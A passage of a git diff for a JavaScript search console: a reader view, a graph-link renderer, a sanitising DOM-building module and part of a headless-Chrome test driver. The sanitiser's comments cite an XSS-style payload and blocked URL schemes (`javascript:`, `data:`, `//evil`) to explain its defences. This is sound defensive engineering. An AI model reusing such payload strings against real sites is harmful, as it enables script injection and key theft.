(Array.isArray(g.brains) ? g.brains.map(str).filter(Boolean) : []);+ const several = brains.length > 1;+ const brainsText = (cap) => (several+ ? [cap ? 'Brains ' : 'brains ', mono(brains.join(', '))]+ : [cap ? 'Brain ' : 'brain ', mono(brain || brains[0] || '')]);+ switch (g.status) {+ case 'loading':+ return h('div', { class: 'rd-empty' }, 'Walking ', ...brainsText(false), '…');+ case 'no-brain':+ return h('div', { class: 'rd-empty' },+ (brain || several) ? ['No ', ...brainsText(false), ' on this engine (no edges index), so there are no recorded links for this record.']+ : 'No brain is associated with this index, so there are no recorded links for this record.',+ g.guest ? null : [h('br'), 'Build one: ', h('span', { class: 'mono accent' }, 'xerj brain <folder>'), ' — the links appear here.']);+ case 'no-links':+ return h('div', { class: 'rd-empty' }, ...brainsText(true), several ? ' record no links for this record' : ' records no links for this record',+ g.dangling ? (several ? ' (its id is not a node in any of them).' : ' (its id is not a node in that brain).') : '.');+ case 'denied':+ return h('div', { class: 'rd-empty' },+ g.guest+ ? 'This share does not include the knowledge graph.'+ : ['The graph API refused this console session (', mono(str(g.error) || 'HTTP 401'), '). On an auth-enabled engine the graph needs an engine API key; records and search still work.']);+ case 'error':+ return h('div', { class: 'rd-empty' }, 'Graph unavailable: ', mono(str(g.error) || 'unknown error'));+ case 'ok': {+ const groups = Array.isArray(g.groups) ? g.groups : [];+ if (!groups.length) return renderGraphPanel({ ...g, status: 'no-links' });+ const total = groups.reduce((n, gr) => n + gr.items.length, 0);+ const ns = g.notShown || {};+ const clipped = (Number(ns.edges_clipped) || 0) + (Number(ns.frontier_clipped) || 0);+ const dangling = Number(ns.dangling_nodes) || 0;+ return [+ h('div', { class: 'rd-egroups' }, groups.map((gr) => h('div', { class: 'rd-egroup' },+ h('div', { class: 'key' }, `${str(gr.label).toUpperCase()} · ${gr.items.length}`),+ gr.items.map((it) => h('a', {+ class: 'rd-neigh',+ href: readerHref({ index: it.index || g.index, id: it.id, brain: it.brain || g.brain }),+ 'data-reader-open': str(it.id),+ 'data-reader-index': str(it.index || g.index),+ title: str(it.id),+ },+ h('span', { class: 'rd-neigh__dir mono' }, it.direction === 'out' ? '→' : '←'),+ it.via === 'file' ? h('span', { class: 'rd-neigh__via mono faint', title: 'a link of the file this record came from' }, 'FILE') : null,+ h('span', { class: 'rd-neigh__title' }, str(it.title)),+ it.preview ? h('span', { class: 'rd-neigh__prev' }, str(it.preview).replace(/\s+/g, ' ').slice(0, 90)) : null))))),+ h('div', { class: 'rd-honest mono faint' },+ `${total} linked record${total === 1 ? '' : 's'} · `,+ several+ ? `brains ${brains.join(', ')} consulted · links in ${(Array.isArray(g.brainsWithLinks) && g.brainsWithLinks.length ? g.brainsWithLinks : [brain]).map(str).join(', ')}`+ : `brain ${brain}`,+ ' · 1 hop',+ g.viaFile ? ` · ${g.viaFile} of them are links of the file this record came from (${str(g.filePath) || 'its file record'}) — file-level detectors link files, not the records inside them` : '',+ clipped ? ` · ${clipped} more not shown (limit)` : '',+ dangling ? ` · ${dangling} link${dangling === 1 ? '' : 's'} to ids with no document behind them` : ''),+ ];+ }+ default:+ return h('div', { class: 'rd-empty' }, 'Open a record to see what links to it.');+ }+}diff --git a/xerj-ux/src/ux/reader-view.js b/xerj-ux/src/ux/reader-view.jsnew file mode 100644index 000000000..b1e13859b--- /dev/null+++ b/xerj-ux/src/ux/reader-view.js@@ -0,0 +1,362 @@+// ============================================================+// XERJ Console — Reader view (the one stateful piece)+//+// Search box · result list · the open record · the records linked to it.+// Used unchanged by the operator shell (app.js, section READER) and by the+// guest shell (guest-app.js); what differs is the `api` it is given+// (data/reader-api.js over the console or the guest transport).+//+// All DOM goes through ux/safe-dom.js#mount. This file holds no markup+// strings and calls no HTML-parsing API: record data only ever becomes text+// nodes and inert attribute values. Navigation is by ordinary in-app hash+// links (`#/reader?index=…&id=…`) — the shell hands the parsed route back+// through `setRoute`, so "open this record" needs no click handler at all.+// ============================================================++import { h, mount } from './safe-dom.js';+import { renderResultList, renderRecord, renderGraphPanel, readerHref } from './reader-render.js';+import { QUERY_TYPES, queryPlaceholder } from '../data/search-body.js';+import { FATAL_KINDS } from '../data/reader-api.js';++/** `#/reader?index=a&id=b&brain=c` → { index, id, brain } (strings or null). */+export function parseReaderRoute(hash) {+ const raw = String(hash || '');+ const qi = raw.indexOf('?');+ const qs = new URLSearchParams(qi >= 0 ? raw.slice(qi + 1) : '');+ const get = (k) => { const v = qs.get(k); return v == null || v === '' ? null : v; };+ return { index: get('index'), id: get('id'), brain: get('brain') };+}++/**+ * What the view keeps of `reader-api.js#fetchRelated`'s answer. EVERYTHING it+ * returned, with the list defaults the renderer relies on — the first version+ * copied four named keys and so dropped the join's `truncated` flag on the+ * floor (PR #945 review): the data layer knew the attachment list was+ * incomplete and the page never said so.+ */+export function relatedForView(related, hit) {+ const r = related || {};+ const isFile = !!(hit && hit._source && hit._source.ax_locator === 'file');+ return {+ ...r,+ attachments: r.attachments || [],+ parent: r.parent || null,+ fileRecord: r.fileRecord || null,+ siblings: r.siblings || (isFile ? [] : undefined),+ siblingsTruncated: !!r.siblingsTruncated,+ };+}++/** Results per page of the list, and the most SHOW MORE will ever ask for. */+export const PAGE_SIZE = 25;+export const MAX_SHOWN = 200;++export class ReaderView {+ /**+ * opts.api data/reader-api.js#makeReaderApi(transport)+ * opts.indices () => string[] indices the viewer may pick from+ * opts.guest boolean+ * opts.onFatal (kind) => void a guest's key stopped working / expired+ * opts.onStatus (status) => void optional: { kind, label } for a shell pill+ */+ constructor(opts) {+ this.api = opts.api;+ this.indicesFn = opts.indices || (() => []);+ this.guest = !!opts.guest;+ this.onFatal = opts.onFatal || (() => {});+ const report = opts.onStatus || (() => {});+ /** The last status this view reported — the shell re-reads it when it+ * repaints around us without a new search having run. */+ this.lastStatus = null;+ this.onStatus = (st) => { this.lastStatus = st; report(st); };+ this.root = null;+ this.slots = null;+ this.seq = 0;+ this.searchSeq = 0;+ this.abort = null;+ this.searchAbort = null;+ this.s = {+ index: null, id: null, brain: null, brains: [], brainHint: null,+ q: '', type: 'match',+ field: null, // a sample query's own field (cleared by the next typed search)+ size: PAGE_SIZE,+ result: null, // { hits, total, took, error, hint, pending }+ hit: null, recordError: null, recordKind: null, loading: false,+ related: {}, // { attachments, parent }+ graph: { status: 'idle' },+ };+ this._onKey = (e) => this.handleKey(e);+ this._onChange = (e) => this.handleChange(e);+ this._onClick = (e) => this.handleClick(e);+ }++ // ----- routing -------------------------------------------------------++ /** Apply a parsed route. Loads only what changed. */+ setRoute({ index, id, brain } = {}) {+ const allowed = this.indicesFn();+ let idx = index;+ // A guest can only ever be on one of the share's indices; an index from+ // the URL that is not among them is ignored, not requested.+ if (this.guest && idx && !allowed.includes(idx)) idx = null;+ if (!idx) idx = this.s.index && (!this.guest || allowed.includes(this.s.index)) ? this.s.index : (allowed[0] || null);+ const indexChanged = idx !== this.s.index;+ const idChanged = (id || null) !== this.s.id;+ const hint = this.guest ? null : (brain || null);+ const hintChanged = hint !== this.s.brainHint;+ this.s.index = idx;+ this.s.brainHint = hint;+ this.s.id = id || null;+ if (indexChanged) { this.s.result = null; this.s.hit = null; this.s.size = PAGE_SIZE; }+ // No index at all (an empty engine): there is nothing to load, and the+ // shell's status pill must not sit on "LOADING…" forever waiting for a+ // search that will never run (PR #945 review).+ if (!idx) this.onStatus({ kind: 'live', label: this.guest ? 'NOTHING SHARED' : 'LIVE · NOTHING INDEXED' });+ // Coming back to a view whose last load FAILED asks again (a refused or+ // unreachable engine may have recovered). A record the engine answered+ // "no such id" for is not re-asked on every repaint.+ const searchFailed = !!(this.s.result && this.s.result.error);+ const recordFailed = !!(this.s.id && !this.s.hit && !this.s.loading && this.s.recordKind !== 'not-found');+ if (idx && (indexChanged || !this.s.result || searchFailed)) this.runSearch();+ if (indexChanged || idChanged || recordFailed) this.loadRecord();+ // Only `&brain=` changed: the record stands, the graph half is re-asked+ // with the new hint (PR #945 review: it used to keep the old brain's answer).+ else if (hintChanged && this.s.hit) this.reloadGraph();+ this.paint();+ }++ // ----- data ----------------------------------------------------------++ fatal(kind) {+ if (this.guest && FATAL_KINDS.has(kind)) { this.onFatal(kind); return true; }+ return false;+ }++ async runSearch() {+ const index = this.s.index;+ if (!index) return;+ if (this.searchAbort) this.searchAbort.abort();+ const ac = this.searchAbort = new AbortController();+ const seq = ++this.searchSeq;+ // SHOW MORE keeps the list on screen while the longer one loads.+ const keep = this.s.size > PAGE_SIZE && this.s.result && !this.s.result.error ? this.s.result.hits : [];+ this.s.result = { hits: keep, total: keep.length ? this.s.result.total : 0, pending: true };+ this.paintList();+ let r;+ try { r = await this.api.search(index, { q: this.s.q, type: this.s.type, size: this.s.size, field: this.s.field }, ac.signal); } catch { return; }+ if (seq !== this.searchSeq) return;+ if (this.fatal(r.kind)) return;+ this.s.result = r;+ this.onStatus(r.error ? { kind: 'live-error', label: `READER: ${r.error}` } : { kind: 'live', label: `LIVE · ${index}` });+ this.paintList();+ }++ async loadRecord() {+ if (this.abort) this.abort.abort();+ const ac = this.abort = new AbortController();+ const seq = ++this.seq;+ const { index, id } = this.s;+ this.s.hit = null; this.s.recordError = null; this.s.recordKind = null; this.s.related = {}; this.s.graph = { status: 'idle' };+ if (!index || !id) { this.s.loading = false; this.paintRecord(); this.paintGraph(); return; }+ this.s.loading = true;+ this.paintRecord(); this.paintGraph();+ try {+ const rec = await this.api.fetchRecord(index, id, ac.signal);+ if (seq !== this.seq) return;+ if (this.fatal(rec.kind)) return;+ this.s.loading = false;+ this.s.hit = rec.hit;+ this.s.recordError = rec.hit ? null : (rec.error || 'Not found.');+ this.s.recordKind = rec.hit ? null : (rec.kind || 'error');+ this.paintRecord(); this.paintList();+ if (!rec.hit) { this.paintGraph(); return; }++ this.s.graph = { status: 'loading' };+ this.paintGraph();+ const [related, brains] = await Promise.all([+ this.api.fetchRelated(rec.hit, ac.signal),+ this.api.resolveBrains(index, this.s.brainHint, ac.signal),+ ]);+ if (seq !== this.seq) return;+ if (this.fatal(related.kind)) return;+ this.s.related = relatedForView(related, rec.hit);+ this.s.brains = brains;+ this.s.brain = brains[0] || null;+ this.paintRecord();+ this.paintGraph();+ const graph = await this.api.fetchGraph(brains, rec.hit, related.fileRecord || null, ac.signal);+ if (seq !== this.seq) return;+ if (graph.kind === 'expired' && this.fatal('expired')) return;+ this.s.graph = graph;+ this.paintGraph();+ } catch { /* aborted: a newer load owns the view */ }+ }++ /** Re-ask the graph half for the open record (the `&brain=` hint changed). */+ async reloadGraph() {+ const hit = this.s.hit;+ if (!hit) return;+ if (this.abort) this.abort.abort();+ const ac = this.abort = new AbortController();+ const seq = ++this.seq;+ this.s.graph = { status: 'loading' };+ this.paintGraph();+ try {+ const brains = await this.api.resolveBrains(this.s.index, this.s.brainHint, ac.signal);+ if (seq !== this.seq) return;+ this.s.brains = brains;+ this.s.brain = brains[0] || null;+ this.paintGraph();+ const graph = await this.api.fetchGraph(brains, hit, (this.s.related && this.s.related.fileRecord) || null, ac.signal);+ if (seq !== this.seq) return;+ if (graph.kind === 'expired' && this.fatal('expired')) return;+ this.s.graph = graph;+ this.paintGraph();+ } catch { /* aborted: a newer load owns the view */ }+ }++ // ----- DOM -----------------------------------------------------------++ /** (Re)attach to a container: builds the skeleton and paints every slot+ * from current state. Safe to call after the shell re-rendered around us. */+ attach(container) {+ this.detach();+ this.root = container;+ if (!container) return;+ const indices = this.indicesFn();+ mount(container, h('div', { class: 'rd-root' },+ h('div', { class: 'rd-search' },+ h('input', { type: 'search', class: 'rd-q', name: 'rd-q', value: this.s.q, 'aria-label': 'Search this corpus',+ placeholder: queryPlaceholder(this.s.type), autocomplete: 'off', spellcheck: 'false' }),+ h('select', { class: 'rd-type', name: 'rd-type', 'aria-label': 'Query type' },+ QUERY_TYPES.map((t) => h('option', { value: t, selected: t === this.s.type }, t.toUpperCase()))),+ indices.length > 1+ ? h('select', { class: 'rd-index', name: 'rd-index', 'aria-label': 'Index' },+ indices.map((i) => h('option', { value: i, selected: i === this.s.index }, i)))+ : h('span', { class: 'rd-index-one mono faint' }, this.s.index || '')),+ h('div', { class: 'rd-cols' },+ h('section', { class: 'rd-col rd-col--list' }, h('div', { class: 'key', 'data-rd-slot': 'list-head' }), h('div', { 'data-rd-slot': 'list' })),+ h('section', { class: 'rd-col rd-col--record' }, h('div', { class: 'key' }, 'RECORD'), h('div', { 'data-rd-slot': 'record' }))),+ h('section', { class: 'rd-graph' }, h('div', { class: 'key' }, 'LINKED RECORDS · FROM THE BRAIN'), h('div', { 'data-rd-slot': 'graph' }))));+ const slot = (n) => container.querySelector(`[data-rd-slot="${n}"]`);+ this.slots = { listHead: slot('list-head'), list: slot('list'), record: slot('record'), graph: slot('graph') };+ container.addEventListener('keydown', this._onKey);+ container.addEventListener('change', this._onChange);+ container.addEventListener('click', this._onClick);+ this.paint();+ }++ detach() {+ if (this.root) {+ this.root.removeEventListener('keydown', this._onKey);+ this.root.removeEventListener('change', this._onChange);+ this.root.removeEventListener('click', this._onClick);+ }+ this.root = null; this.slots = null;+ }++ paint() { this.paintIndex(); this.paintList(); this.paintRecord(); this.paintGraph(); }++ /** The index label / picker beside the search box follows the route+ * (attach() renders it before setRoute() has set the index). */+ paintIndex() {+ if (!this.root) return;+ const one = this.root.querySelector('.rd-index-one');+ if (one) mount(one, this.s.index || '');+ const sel = this.root.querySelector('.rd-index');+ if (sel && this.s.index && sel.value !== this.s.index) sel.value = this.s.index;+ }++ paintList() {+ if (!this.slots) return;+ const r = this.s.result;+ const hits = (r && r.hits) || [];+ let head = 'RESULTS';+ let empty;+ let more = null;+ if (!this.s.index) empty = this.guest ? 'Nothing is shared.' : 'Nothing is indexed yet. Run: xerj brain <folder>';+ else if (!r || (r.pending && !hits.length)) { head = 'SEARCHING…'; empty = 'Searching…'; }+ else if (r.error) { head = 'SEARCH FAILED'; empty = `Search failed: ${r.error}. Nothing is shown in its place.`; }+ else if (r.hint) { head = 'NOT SEARCHED'; empty = r.hint; }+ else {+ head = `${r.total} RESULT${r.total === 1 ? '' : 'S'}${hits.length < r.total ? ` · SHOWING ${hits.length}` : ''} · CLICK TO OPEN`;+ empty = (this.s.q || '').trim() ? 'No matches. Try a broader query or another query type.' : `No records in ${this.s.index}.`;+ if (hits.length < r.total) {+ more = r.pending ? h('div', { class: 'rd-more faint mono' }, 'Loading more…')+ : hits.length < MAX_SHOWN+ ? h('button', { class: 'text-btn rd-more', type: 'button', 'data-rd-more': '1' }, `SHOW ${Math.min(PAGE_SIZE, r.total - hits.length, MAX_SHOWN - hits.length)} MORE`)+ : h('div', { class: 'rd-more faint mono' }, `The list stops at the top ${MAX_SHOWN} of ${r.total}. Narrow the query to see the rest.`);+ }+ }+ mount(this.slots.listHead, head);+ mount(this.slots.list, [renderResultList(hits, { selectedId: this.s.id, brain: this.s.brainHint, emptyText: empty }), more]);+ }++ paintRecord() {+ if (!this.slots) return;+ const s = this.s;+ mount(this.slots.record, s.hit+ ? renderRecord(s.hit, { related: s.related, brain: s.brainHint })+ : renderRecord(null, { emptyText: s.loading ? 'Loading…' : (s.recordError || undefined) }));+ }++ paintGraph() {+ if (!this.slots) return;+ const s = this.s;+ mount(this.slots.graph, renderGraphPanel(s.hit+ ? { brain: s.brain, brains: s.brains, ...s.graph, index: s.hit._index, guest: this.guest }+ : { status: 'idle' }));+ }++ // ----- events --------------------------------------------------------++ handleKey(e) {+ const t = e.target;+ if (e.key !== 'Enter' || !t || !t.classList || !t.classList.contains('rd-q')) return;+ e.preventDefault();+ this.s.q = String(t.value || '');+ this.s.field = null; // a typed search runs over the Reader's own fields+ this.s.size = PAGE_SIZE;+ this.runSearch();+ }++ handleClick(e) {+ const t = e.target;+ const more = t && t.closest ? t.closest('[data-rd-more]') : null;+ if (!more) return;+ e.preventDefault();+ this.s.size = Math.min(MAX_SHOWN, this.s.size + PAGE_SIZE);+ this.runSearch();+ }++ handleChange(e) {+ const t = e.target;+ if (!t || !t.classList) return;+ if (t.classList.contains('rd-type')) {+ if (QUERY_TYPES.includes(t.value)) {+ // Run what is IN THE BOX, not the last submitted query: a person who+ // typed a new query and then picked a type saw results for the old one+ // under the new text (PR #945 review).+ const box = this.root && this.root.querySelector('.rd-q');+ if (box) { this.s.q = String(box.value || ''); box.setAttribute('placeholder', queryPlaceholder(t.value)); }+ this.s.type = t.value;+ this.s.field = null;+ this.s.size = PAGE_SIZE;+ this.runSearch();+ }+ } else if (t.classList.contains('rd-index')) {+ const win = this.root && this.root.ownerDocument.defaultView;+ if (win && this.indicesFn().includes(t.value)) win.location.hash = readerHref({ index: t.value, brain: this.s.brainHint });+ }+ }++ /** Run a query chosen elsewhere (a corpus card's sample query). `field` is+ * the field the sample was written for; it is searched too. */+ setQuery({ q, type, field }) {+ this.s.q = String(q || '');+ if (QUERY_TYPES.includes(type)) this.s.type = type;+ this.s.field = typeof field === 'string' && field ? field : null;+ this.s.size = PAGE_SIZE;+ this.s.result = null;+ }+}diff --git a/xerj-ux/src/ux/safe-dom.js b/xerj-ux/src/ux/safe-dom.jsnew file mode 100644index 000000000..8922c7ee5--- /dev/null+++ b/xerj-ux/src/ux/safe-dom.js@@ -0,0 +1,243 @@+// ============================================================+// XERJ Console — safe DOM construction+//+// The corpus home and the reader show OTHER PEOPLE'S DOCUMENTS: an email+// subject, an attachment filename, a PDF page, a highlight fragment, a graph+// node title. Every one of those strings is attacker-controlled (anyone can+// mail you `<img src=x onerror=…>` as a subject), and in guest mode the+// viewer's API key sits in sessionStorage on this origin — one script+// execution is key theft.+//+// The rest of the console builds HTML strings and relies on `esc()` at every+// interpolation. That is correct only while nobody ever forgets one. This+// module removes the HTML parser from the path instead:+//+// h(tag, attrs, ...children) a plain-data node. Children are nodes or+// STRINGS; a string is always text.+// mount(container, nodes) builds real DOM with createElement /+// createTextNode / setAttribute only.+//+// Guarantees, by construction rather than by discipline:+// • no document string is ever parsed as HTML — this file, and everything+// that renders through it, contains no markup-parsing sink at all+// (test/safe-dom.test.mjs greps the sources for the full sink list);+// • tags come from TAGS and attribute names from ATTRS — both closed+// lists, and both are code constants, never data. An unknown tag or+// attribute THROWS, so a typo (or someone "just adding onclick") fails+// the tests instead of shipping;+// • there is no `style`, no `src`, no `srcset`, no `action`, no `on*`;+// • an `href` is kept only when it is an in-app hash route (`#/…`).+// `javascript:`, `data:`, `vbscript:`, `//evil`, `https://…`, a leading+// space or control character — all dropped, leaving an inert <a>. The+// reader never links out: a URL found in a document is shown as text.+//+// `h` and the helpers are pure (no DOM), so render functions are testable+// under node; `mount` needs a Document and is exercised in a real browser+// (test/browser/).+// ============================================================++/** Elements a render function may create. Nothing that loads a resource,+ * runs script, or submits anywhere. */+export const TAGS = new Set([+ 'div', 'span', 'p', 'a', 'h1', 'h2', 'h3', 'h4', 'ul', 'ol', 'li',+ 'pre', 'code', 'mark', 'article', 'section', 'header', 'footer', 'nav',+ 'button', 'b', 'strong', 'em', 'small', 'dl', 'dt', 'dd', 'br', 'hr',+ 'label', 'input', 'select', 'option', 'time',+]);++/** Attribute names a render function may set (plus `data-*` / `aria-*`). */+export const ATTRS = new Set([+ 'class', 'href', 'title', 'id', 'role', 'tabindex', 'type', 'name',+ 'value', 'placeholder', 'for', 'disabled', 'selected', 'autocomplete',+ 'spellcheck', 'datetime', 'hidden',+]);++const INPUT_TYPES = new Set(['text', 'search']);+const BUTTON_TYPES = new Set(['button']);++/** Is this attribute name allowed? `on*` can never pass: it is not in ATTRS+ * and does not start with `data-` / `aria-`. */+export function attrAllowed(name) {+ if (typeof name !== 'string') return false;+ if (ATTRS.has(name)) return true;+ return /^(data|aria)-[a-z0-9-]+$/.test(name);+}++function hasControlChar(s) {+ for (let i = 0; i < s.length; i++) {+ const c = s.charCodeAt(i);+ if (c < 0x20 || c === 0x7f) return true;+ }+ return false;+}++/**+ * The only hrefs the console renders from data: in-app hash routes.+ * Returns the href when safe, null otherwise.+ */+export function safeHref(v) {+ if (typeof v !== 'string') return null;+ // `#/` exactly at position 0 — no leading whitespace/control characters+ // (browsers strip those before resolving a scheme) and no scheme at all.+ if (!v.startsWith('#/')) return null;+ // A fragment cannot change the document's origin or scheme, but keep+ // control characters out of attributes on principle.+ if (hasControlChar(v)) return null;+ return v;+}++/** Build a node. `attrs` may be null. Falsy children are skipped; arrays are+ * flattened; anything that is not a node becomes TEXT. */+export function h(tag, attrs, ...children) {+ if (!TAGS.has(tag)) throw new Error(`safe-dom: tag <${String(tag)}> is not allowed`);+ const a = {};+ for (const [k, v] of Object.entries(attrs || {})) {+ if (v == null || v === false) continue;+ if (!attrAllowed(k)) throw new Error(`safe-dom: attribute "${k}" is not allowed`);+ // An href must already BE a string: coercing first would let an object+ // with a crafted toString() choose the URL.+ if (k === 'href' && typeof v !== 'string') continue;+ a[k] = v === true ? '' : String(v);+ }+ if (tag === 'input' && !INPUT_TYPES.has(a.type || 'text')) {+ throw new Error(`safe-dom: <input type="${a.type}"> is not allowed`);+ }+ if (tag === 'button') {+ if (a.type && !BUTTON_TYPES.has(a.type)) throw new Error(`safe-dom: <button type="${a.type}"> is not allowed`);+ a.type = 'button';+ }+ if ('href' in a) {+ const ok = safeHref(a.href);+ if (ok == null) delete a.href; else a.href = ok;+ }+ const c = [];+ const push = (x) => {+ if (x == null || x === false || x === true || x === '') return;+ if (Array.isArray(x)) { x.forEach(push); return; }+ if (isNode(x)) { c.push(x); return; }+ c.push(String(x));+ };+ children.forEach(push);+ return { $: 'node', tag, attrs: a, children: c };+}++export function isNode(x) {+ return !!x && typeof x === 'object' && x.$ === 'node' && typeof x.tag === 'string';+}++/** All text under a node (or list), concatenated — what a person reads. */+export function textOf(node) {+ if (node == null) return '';+ if (Array.isArray(node)) return node.map(textOf).join('');+ if (typeof node === 'string') return node;+ if (!isNode(node)) return '';+ return node.children.map(textOf).join('');+}++/** Depth-first visit of every element node. */+export function walk(node, fn) {+ if (Array.isArray(node)) { node.forEach((n) => walk(n, fn)); return; }+ if (!isNode(node)) return;+ fn(node);+ node.children.forEach((c) => walk(c, fn));+}++/** Every element node matching `pred`, in document order. */+export function findAll(node, pred) {+ const out = [];+ walk(node, (n) => { if (pred(n)) out.push(n); });+ return out;+}++// ----- highlights -----------------------------------------------------++// The reader asks the engine to wrap matches in these two private-use+// characters (U+E000 / U+E001) instead of `<em>`/`</em>`. A highlight+// fragment is raw document text with the markers spliced in — the engine does+// NOT HTML-escape it — so it must never reach an HTML parser. We split on the+// markers and emit text + <mark> elements. A document that itself contains+// the marker characters can at worst cause a stray <mark>; it cannot+// introduce markup.+export const HL_PRE = String.fromCharCode(0xe000);+export const HL_POST = String.fromCharCode(0xe001);++/** The `highlight` block to send with a search so fragments use the markers. */+export function highlightRequest(fields, { fragmentSize = 160, fragments = 2 } = {}) {+ const f = {};+ for (const name of fields || []) {+ if (typeof name === 'string' && name) f[name] = { fragment_size: fragmentSize, number_of_fragments: fragments };+ }+ // Both spellings, because the engine has two request parsers: the ES-compat+ // route (a guest) reads the plural arrays, the console's search proxy (an+ // operator) reads the singular strings and ignores the rest. Sending only+ // one silently falls back to `<em>` on the other route+ // (pinned by xerj-console-api/tests/reader_proxy.rs).+ return { pre_tags: [HL_PRE], post_tags: [HL_POST], pre_tag: HL_PRE, post_tag: HL_POST, fields: f };+}++function stripMarkers(s) {+ return s.split(HL_PRE).join('').split(HL_POST).join('');+}++/**+ * A highlight fragment → children for `h()`: plain strings and <mark> nodes.+ * `tags: 'em'` accepts the engine's default `<em>…</em>` wrapping for+ * responses we did not shape — the two tags are matched LITERALLY and+ * everything else, including any other `<…>`, stays text.+ */+export function highlightChildren(fragment, { tags = 'markers' } = {}) {+ const text = fragment == null ? '' : String(fragment);+ const [pre, post] = tags === 'em' ? ['<em>', '</em>'] : [HL_PRE, HL_POST];+ const out = [];+ let i = 0;+ while (i < text.length) {+ const s = text.indexOf(pre, i);+ if (s < 0) break;+ const e = text.indexOf(post, s + pre.length);+ if (e < 0) break;+ if (s > i) out.push(text.slice(i, s));+ const inner = stripMarkers(text.slice(s + pre.length, e));+ if (inner) out.push(h('mark', null, inner));+ i = e + post.length;+ }+ if (i < text.length) out.push(text.slice(i));+ return out.map((x) => (typeof x === 'string' ? stripMarkers(x) : x)).filter((x) => x !== '');+}++// ----- mount ----------------------------------------------------------++function build(node, doc) {+ if (typeof node === 'string') return doc.createTextNode(node);+ if (!isNode(node)) return doc.createTextNode('');+ // Re-validate at the DOM boundary: a node object that did not come from+ // h() (deserialised, hand-built) gets the same checks.+ if (!TAGS.has(node.tag)) throw new Error(`safe-dom: tag <${node.tag}> is not allowed`);+ const el = doc.createElement(node.tag);+ for (const [k, v] of Object.entries(node.attrs || {})) {+ if (!attrAllowed(k)) throw new Error(`safe-dom: attribute "${k}" is not allowed`);+ if (k === 'href') {+ const ok = safeHref(v);+ if (ok != null) el.setAttribute('href', ok);+ continue;+ }+ el.setAttribute(k, String(v));+ }+ for (const c of node.children || []) el.appendChild(build(c, doc));+ return el;+}++/**+ * Replace `container`'s children with the given node(s). The container is+ * emptied with replaceChildren — never by assigning markup.+ */+export function mount(container, nodes) {+ if (!container) return;+ const doc = container.ownerDocument;+ const frag = doc.createDocumentFragment();+ const list = Array.isArray(nodes) ? nodes : [nodes];+ for (const n of list) {+ if (n == null || n === false || n === '') continue;+ frag.appendChild(build(n, doc));+ }+ container.replaceChildren(frag);+}diff --git a/xerj-ux/test/browser/cdp.mjs b/xerj-ux/test/browser/cdp.mjsnew file mode 100644index 000000000..36e5a0a3a--- /dev/null+++ b/xerj-ux/test/browser/cdp.mjs@@ -0,0 +1,183 @@+// ============================================================+// A minimal Chrome DevTools Protocol driver — no npm dependency.+//+// xerj-ux is a buildless SPA with no package.json, and the security tests+// have to run in CI without `npm install`. This drives a real headless+// Chrome over its DevTools WebSocket using only what Node ships (the global+// `WebSocket`, Node >= 22).+//+// Chrome is found via $CHROME_BIN, then the usual install paths, then a+// Playwright browser cache. `findChrome()` returns null when there is none;+// the tests then SKIP — unless XERJ_REQUIRE_BROWSER=1 (CI), where a missing+// browser is a failure rather than a silently green security suite.+// ============================================================++import { spawn } from 'node:child_process';+import { existsSync, mkdtempSync, rmSync, readdirSync } from 'node:fs';+import { tmpdir, homedir } from 'node:os';+import { join } from 'node:path';++export function findChrome() {+ const candidates = [+ process.env.CHROME_BIN,+ '/usr/bin/google-chrome', '/usr/bin/google-chrome-stable', '/usr/bin/chromium', '/usr/bin/chromium-browser',+ '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',+ ].filter(Boolean);+ const cache = join(homedir(), '.cache', 'ms-playwright');+ if (existsSync(cache)) {+ for (const d of readdirSync(cache).filter((n) => /^chromium-\d+$/.test(n)).sort().reverse()) {+ candidates.push(join(cache, d, 'chrome-linux', 'chrome'), join(cache, d, 'chrome-linux64', 'chrome'));+ }+ }+ return candidates.find((p) => existsSync(p)) || null;+}++export const browserRequired = () => process.env.XERJ_REQUIRE_BROWSER === '1';++export async function launch({ chrome = findChrome(), timeoutMs = 30_000, extraArgs = [], debugPort = Number(process.env.XERJ_TEST_CDP_PORT) || 0 } = {}) {+ if (!chrome) throw new Error('no Chrome/Chromium found (set CHROME_BIN)');+ if (typeof WebSocket !== 'function') throw new Error('global WebSocket missing — Node >= 22 required');+ const profile = mkdtempSync(join(tmpdir(), 'xerj-ux-chrome-'));+ const proc = spawn(chrome, [+ '--headless=new', '--no-sandbox', '--disable-gpu', '--disable-dev-shm-usage', '--no-first-run', '--no-default-browser-check',+ '--disable-extensions', '--disable-background-networking', '--disable-sync', '--disable-component-update', '--mute-audio',+ // An OS-assigned port by default. XERJ_TEST_CDP_PORT (or `debugPort`) pins+ // it, for a shared machine where each run is given its own port block+ // (then run the browser files one at a time: `--test-concurrency=1`).+ `--remote-debugging-port=${debugPort}`, `--user-data-dir=${profile}`, ...extraArgs, 'about:blank',+ ], { stdio: ['ignore', 'ignore', 'pipe'] });++ const wsUrl = await new Promise((resolve, reject) => {+ let buf = '';+ const timer = setTimeout(() => reject(new Error(`Chrome did not announce DevTools within ${timeoutMs}ms:\n${buf.slice(-2000)}`)), timeoutMs);+ proc.stderr.on('data', (d) => {+ buf += d;+ const m = buf.match(/DevTools listening on (ws:\/\/\S+)/);+ if (m) { clearTimeout(timer); resolve(m[1]); }+ });+ proc.on('exit', (code) => { clearTimeout(timer); reject(new Error(`Chrome exited (${code}) before DevTools came up:\n${buf.slice(-2000)}`)); });+ });++ const ws = new WebSocket(wsUrl);+ await new Promise((resolve, reject) => { ws.onopen = resolve; ws.onerror = () => reject(new Error('DevTools socket failed')); });+ let nextId = 1;+ const pending = new Map();+ const listeners = new Set();+ ws.onmessage = (ev) => {+ const msg = JSON.parse(ev.data);+ if (msg.id && pending.has(msg.id)) {+ const { resolve, reject, method } = pending.get(msg.id);+ pending.delete(msg.id);+ if (msg.error) reject(new Error(`${method}: ${msg.error.message}`)); else resolve(msg.result);+ return;+ }+ for (const fn of listeners) fn(msg);+ };+ const send = (method, params = {}, sessionId) => new Promise((resolve, reject) => {+ const id = nextId++;+ pending.set(id, { resolve, reject, method });+ ws.send(JSON.stringify({ id, method, params, ...(sessionId ? { sessionId } : {}) }));+ });++ async function newPage() {+ const { targetId } = await send('Target.createTarget', { url: 'about:blank' });+ const { sessionId } = await send('Target.attachToTarget', { targetId, flatten: true });+ const page = new Page(send, sessionId, targetId);+ listeners.add((msg) => { if (msg.sessionId === sessionId) page._event(msg); });+ await page.init();+ return page;+ }++ async function close() {+ try { await send('Browser.close'); } catch { /* already gone */ }+ try { ws.close(); } catch { /* */ }+ await new Promise((r) => { if (proc.exitCode != null) r(); else { proc.once('exit', r); setTimeout(() => { try { proc.kill('SIGKILL'); } catch { /* */ } 